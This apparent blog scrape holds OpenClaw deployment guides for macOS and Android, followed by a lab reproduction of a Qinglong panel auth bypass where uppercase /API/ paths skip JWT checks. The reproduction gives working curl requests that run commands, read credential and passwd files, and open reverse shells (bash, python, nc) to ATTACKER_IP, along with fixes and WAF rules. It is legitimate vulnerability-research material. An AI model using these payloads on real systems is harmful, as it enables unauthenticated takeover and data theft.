
### 阿里云百炼（推荐）
- Key: `sk-xxxxxxxxxxxxxxxx`
- 模型：qwen3.5-plus

### 火山引擎（备选）
- Key: `xxxxxxxxxxxxxxxx`
- 模型：doubao-seed-2.0-code

### 本地模型（Ollama）
- URL: `http://localhost:11434`
- 模型：`qwen2.5:7b`

3. 配置代理（中国大陆用户）

编辑 Clash 配置：

nano ~/.config/clash/config.yaml

或者使用环境变量（添加到 ~/.zshrc 或 ~/.bash_profile）：

export HTTP_PROXY=http://127.0.0.1:7890
export HTTPS_PROXY=http://127.0.0.1:7890

# 使配置生效
source ~/.zshrc

🚀 高级配置

1. 本地模型配置（Ollama）

安装 Ollama：

# 使用 Homebrew 安装
brew install ollama

# 或者下载安装
curl -fsSL https://ollama.com/install.sh | sh

# 拉取模型
ollama pull qwen2.5:7b

# 启动服务
ollama serve

配置 OpenClaw 使用本地模型：

nano ~/.openclaw/config.json

添加：

{
 "model": {
 "provider": "ollama",
 "endpoint": "http://localhost:11434",
 "model": "qwen2.5:7b"
 }
}

2. systemd 替代方案（launchd）

macOS 使用 launchd 管理服务。创建服务文件：

nano ~/Library/LaunchAgents/com.openclaw.gateway.plist

内容：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.openclaw.gateway</string>
 <key>ProgramArguments</key>
 <array>
 <string>/usr/local/bin/openclaw</string>
 <string>gateway</string>
 <string>start</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 <key>KeepAlive</key>
 <true/>
 <key>WorkingDirectory</key>
 <string>/Users/你的用户名/.openclaw/workspace</string>
</dict>
</plist>

加载服务：

# 加载服务
launchctl load ~/Library/LaunchAgents/com.openclaw.gateway.plist

# 启动服务
launchctl start com.openclaw.gateway

# 查看状态
launchctl list | grep openclaw

3. 日志管理

# 查看日志
tail -f ~/.openclaw/workspace/memory/*.log

# 清理旧日志（保留最近 7 天）
find ~/.openclaw/workspace/memory -name "*.log" -mtime +7 -delete

🔍 常见问题解决

1. 端口被占用

# 检查端口占用
lsof -i :18789

# 杀死占用进程
kill -9 <PID>

# 或者修改 OpenClaw 端口
nano ~/.openclaw/config.json
# 修改 "port": 18790

2. 内存不足

# 查看内存使用
top -l 1 | grep PhysMem

# 关闭不需要的应用
# 或者增加 Swap（不推荐，会影响性能）

3. Node.js 版本不兼容

# 使用 nvm 管理 Node.js 版本
brew install nvm

# 安装 Node.js 20
nvm install 20
nvm use 20

# 重新安装 OpenClaw
npm uninstall -g openclaw
npm install -g openclaw

4. 权限问题

# 修复 npm 全局目录权限
sudo chown -R $(whoami) /usr/local/lib/node_modules

# 或者使用 nvm（推荐）
brew install nvm

5. 本地模型无法连接

# 检查 Ollama 服务
ps aux | grep ollama

# 重启 Ollama
brew services restart ollama

# 测试连接
curl http://localhost:11434/api/tags

6. 网络连接问题

# 测试网络连接
curl -I https://api.binance.com

# 配置代理后测试
curl -x http://127.0.0.1:7890 -I https://api.binance.com

# 如果还是失败，检查代理状态
ps aux | grep clash

📊 性能优化

1. Apple Silicon 优化

M 系列芯片优化建议：

# 使用 ARM 版本的 Node.js
nvm install 20 --arch=arm64
nvm use 20

# 使用原生模型（更快更省电）
ollama pull qwen2.5:7b-instruct-q4_0

2. 调整 Node.js 内存

# 编辑启动脚本或添加环境变量
export NODE_OPTIONS="--max-old-space-size=4096"

3. 使用 SSD 存储

确保工作区在 SSD 上（Mac 默认就是 SSD）：

# 检查工作区位置
df -h ~/.openclaw

4. 定期清理

# 清理 npm 缓存
npm cache clean --force

# 清理 Ollama 旧模型
ollama rm <model-name>

# 清理 OpenClaw 日志
find ~/.openclaw/workspace/memory -name "*.log" -mtime +7 -delete

✅ 验证安装

# 1. 检查版本
openclaw --version

# 2. 检查网关状态
openclaw gateway status

# 3. 发送测试消息
openclaw message send "Hello OpenClaw!"

# 4. 检查日志
tail -f ~/.openclaw/workspace/memory/*.log

成功标志：

✅ 版本号正常显示
✅ 网关状态显示"Running"
✅ 能收到 AI 回复
✅ 日志无 ERROR 级别错误

📚 更多资源

官方文档

社区教程

其他平台

最后更新：2026-03-10 作者：OpenClaw 社区 许可：MIT

觉得有用？欢迎分享给更多朋友！ 🚀

OpenClaw 部署教程 - Android 篇

Tue, 03 Mar 2026 16:15:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - Android 篇

使用 Termux 在 Android 设备上运行 OpenClaw，随时随地管理你的 AI 助手

geo_target: “cn”—

📋 系统要求

项目	要求
Android 版本	10.0+
内存	4GB+ (推荐 8GB)
存储	5GB+ 可用空间
应用	Termux (从 F-Droid 下载)

🔧 安装步骤

1. 安装 Termux

重要: 从 F-Droid 下载，不要从 Google Play 下载（版本过旧）

F-Droid: https://f-droid.org/packages/com.termux/
GitHub: https://github.com/termux/termux-app/releases

2. 更新 Termux

termux-setup-storage
pkg update && pkg upgrade

3. 安装依赖

# 安装 Node.js
pkg install nodejs

# 安装 Python
pkg install python

# 安装构建工具
pkg install build-tools wget curl git

4. 安装 OpenClaw

npm install -g openclaw

# 验证安装
openclaw --version

5. 初始化

mkdir -p ~/openclaw-workspace
cd ~/openclaw-workspace
openclaw init

⚙️ 配置优化

Termux 后台运行

Android 会杀死后台进程，需要配置：

打开 Termux 设置
启用 “Acquire Wakelock”
禁用 “Battery Optimization”

通知栏快捷方式

# 创建快捷方式脚本
cat > ~/start-openclaw.sh << 'EOF'
#!/data/data/com.termux/files/usr/bin/bash
cd ~/openclaw-workspace
openclaw gateway start
EOF
chmod +x ~/start-openclaw.sh

📱 使用场景

1. 远程管理服务器

# 通过 SSH 连接服务器
ssh root@your-server.com

# 在服务器上执行 OpenClaw 命令
openclaw gateway status

2. 消息推送

# 发送 Telegram 消息
openclaw message send --target telegram "服务器状态正常"

3. 定时任务

# 使用 termux-job-scheduler
termux-job-scheduler --period-ms 7200000 --script ~/check-server.sh

🔍 常见问题

1. 存储空间不足

# 清理缓存
pkg clean

# 查看存储使用
du -sh ~/.termux

2. 网络连接问题

# 检查网络
ping 8.8.8.8

# 使用代理
export https_proxy=http://127.0.0.1:7890

3. Termux API 权限

# 安装 Termux:API
pkg install termux-api

# 授予权限（需要在 Android 设置中）
termux-notification --title "测试" --content "通知测试"

✅ 验证安装

# 检查网关状态
openclaw gateway status

# 发送测试消息
openclaw message send "Hello from Android!"

📱 推荐配件

配件	用途
蓝牙键盘	提高输入效率
手机支架	固定设备
充电宝	长时间运行

2026-03-03 | OpenClaw Android 部署教程

上一篇: macOS 部署教程

🎯 四端部署完成！

恭喜你完成 OpenClaw 全平台部署学习！

平台	教程
🐧 Linux	查看教程
🪟 Windows	查看教程
🍎 macOS	查看教程
📱 Android	查看教程

青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE

Sat, 28 Feb 2026 16:45:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 2 月，距今已近 5 个月。青龙面板该鉴权绕过漏洞在新版本中大概率已修复，当前可用性存疑。本文保留仅供漏洞复现学习参考，文中使用 Docker 部署的是历史漏洞版本。

使用 Docker 部署漏洞版本

docker run -d -p 5700:5700 -v $(pwd)/data:/ql/data –name qinglong whyour/qinglong:2.20.1

访问面板

http://localhost:5700


### 2. 验证环境

```bash
# 检查版本
curl http://localhost:5700/api/system/version

# 预期输出
{"data":"2.20.1","code":200}

💥 漏洞复现

步骤 1: 验证鉴权绕过

正常情况（需要认证）：

# 直接访问 /api/ 路径会被拦截
curl -X PUT "http://localhost:5700/api/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "id"}'

# 响应：401 Unauthorized
{"code":401,"message":"未授权访问"}

利用大小写绕过：

# 使用 /API/ (大写) 绕过鉴权
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "id"}'

# 响应：200 OK
{
 "code": 200,
 "data": "uid=0(root) gid=0(root) groups=0(root)"
}

步骤 2: 执行系统命令

获取系统信息：

# 查看当前用户
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "whoami"}'

# 查看主机名
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "hostname"}'

# 查看环境变量
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "env"}'

读取敏感文件：

# 读取青龙配置文件
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "cat /ql/data/config/auth.json"}'

# 读取系统密码本 (需要 root 权限)
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "cat /etc/passwd"}'

步骤 3: 获取 Shell

反弹 Shell：

# Bash 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'

# Python 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'

# NC 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
 -H "Content-Type: application/json" \
 -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'

🔍 技术细节分析

1. Express 路由大小写不敏感

Express 框架默认对路由大小写不敏感：

const express = require('express');
const app = express();

app.get('/api/test', (req, res) => {
 res.send('Hello');
});

// 以下请求都能匹配到上述路由
// GET /api/test ✓
// GET /API/test ✓
// GET /Api/test ✓
// GET /aPi/TeSt ✓

这是 Express 的默认行为，可以通过 app.set('case sensitive routing', true) 启用大小写敏感。

2. 鉴权中间件逻辑漏洞

问题代码：

// back/loaders/express.ts
app.use((req, res, next) => {
 // 白名单路径，不需要鉴权
 if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
 return next(); // 跳过 JWT 校验
 }

 // 验证 JWT 令牌
 const token = req.headers.authorization;
 if (!verifyToken(token)) {
 return res.status(401).json({ code: 401, message: '未授权' });
 }

 next();
});

绕过原理：

请求路径：/API/system/command-run

1. req.path = '/API/system/command-run'
2. req.path.startsWith('/api/') = false ← 大小写不匹配
3. 条件为真，执行 next() ← 跳过 JWT 校验
4. Express 路由匹配：/API/ → /api/ ← 大小写不敏感，成功匹配
5. 执行命令执行接口 ← 未授权访问成功

3. 可利用 API 接口

青龙面板提供多个危险 API 接口：

接口路径	功能	危险等级
`/api/system/command-run`	执行系统命令	🔴 严重
`/api/env`	管理环境变量	🟠 高
`/api/repo`	管理仓库	🟠 高
`/api/subscription`	管理订阅	🟡 中
`/api/user`	用户管理	🟠 高

🛡️ 防御建议

1. 官方修复方案

修复鉴权逻辑：

// 修复后：使用正则忽略大小写
const authPaths = [/^\/open\//i, /^\/api\//i];

app.use((req, res, next) => {
 if (!authPaths.some((pattern) => pattern.test(req.path))) {
 return next();
 }

 // 验证 JWT 令牌
 const token = req.headers.authorization;
 if (!verifyToken(token)) {
 return res.status(401).json({ code: 401, message: '未授权' });
 }

 next();
});

启用大小写敏感路由：

const app = express();
app.set('case sensitive routing', true); // 启用大小写敏感

// 现在 /API/ 和 /api/ 是两个不同的路由

2. 临时缓解措施

方案 1: 反向代理过滤

# Nginx 配置
location / {
 # 强制转换为小写
 set $lower_uri $uri;
 if ($uri ~* ^/(API)/) {
 return 403; # 拦截大写 API 路径
 }

 proxy_pass http://localhost:5700;
}

方案 2: WAF 规则

# ModSecurity 规则
SecRule REQUEST_URI "@rx (?i)/API/" \
 "id:1001,\
 phase:1,\
 deny,\
 status:403,\
 msg:'QL Panel Auth Bypass Attempt'"

3. 用户侧防护

# 1. 限制访问来源
iptables -A INPUT -p tcp --dport 5700 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 5700 -j DROP

# 2. 使用强认证
# 修改默认密码
# 启用双因素认证 (如果支持)

# 3. 定期更新
docker pull whyour/qinglong:latest
docker restart qinglong

# 4. 监控日志
tail -f /ql/log/system.log | grep -E "(API|command|auth)"

📊 影响评估

受影响版本

版本	状态
2.20.1	❌ 受影响
2.20.0	❌ 可能受影响
2.19.x	⚠️ 待确认
< 2.19	⚠️ 待确认

潜在危害

服务器完全沦陷 - 攻击者可执行任意命令
数据泄露 - 读取配置文件、数据库、密钥
内网渗透 - 以服务器为跳板攻击内网
挖矿/僵尸网络 - 植入恶意程序

攻击场景

互联网扫描 → 发现 5700 端口 → 利用鉴权绕过 → 执行命令
 → 读取配置 → 获取数据库密码 → 数据泄露
 → 植入后门 → 持久化控制 → 内网横向移动

🔗 相关漏洞案例

1. JWT 鉴权绕过常见手法

手法	描述	案例
大小写绕过	`/API/` vs `/api/`	本文漏洞
路径遍历	`/..//api/`	CVE-2023-XXXX
编码绕过	URL 编码、Unicode	CVE-2022-XXXX
算法混淆	`alg: none`	JWT 经典漏洞

2. Node.js/Express 类似漏洞

CVE-2024-29180: express-fileupload 路径遍历
CVE-2022-24999: Express 原型污染
CVE-2024-45590: app-html 包 RCE

📝 时间线

日期	事件
2026-02-27	漏洞首次披露 (GitHub Issue #2934)
2026-02-28	漏洞细节公开
2026-02-28	本文发布
TBD	CVE 编号分配
TBD	官方修复版本发布

📚 参考资料

🏷️ Tags

#鉴权绕过 #RCE #青龙面板 #Node.js 安全 #Express #漏洞复现 #渗透测试

本文基于公开披露的漏洞信息编写，旨在提高安全意识。请合法使用安全技术。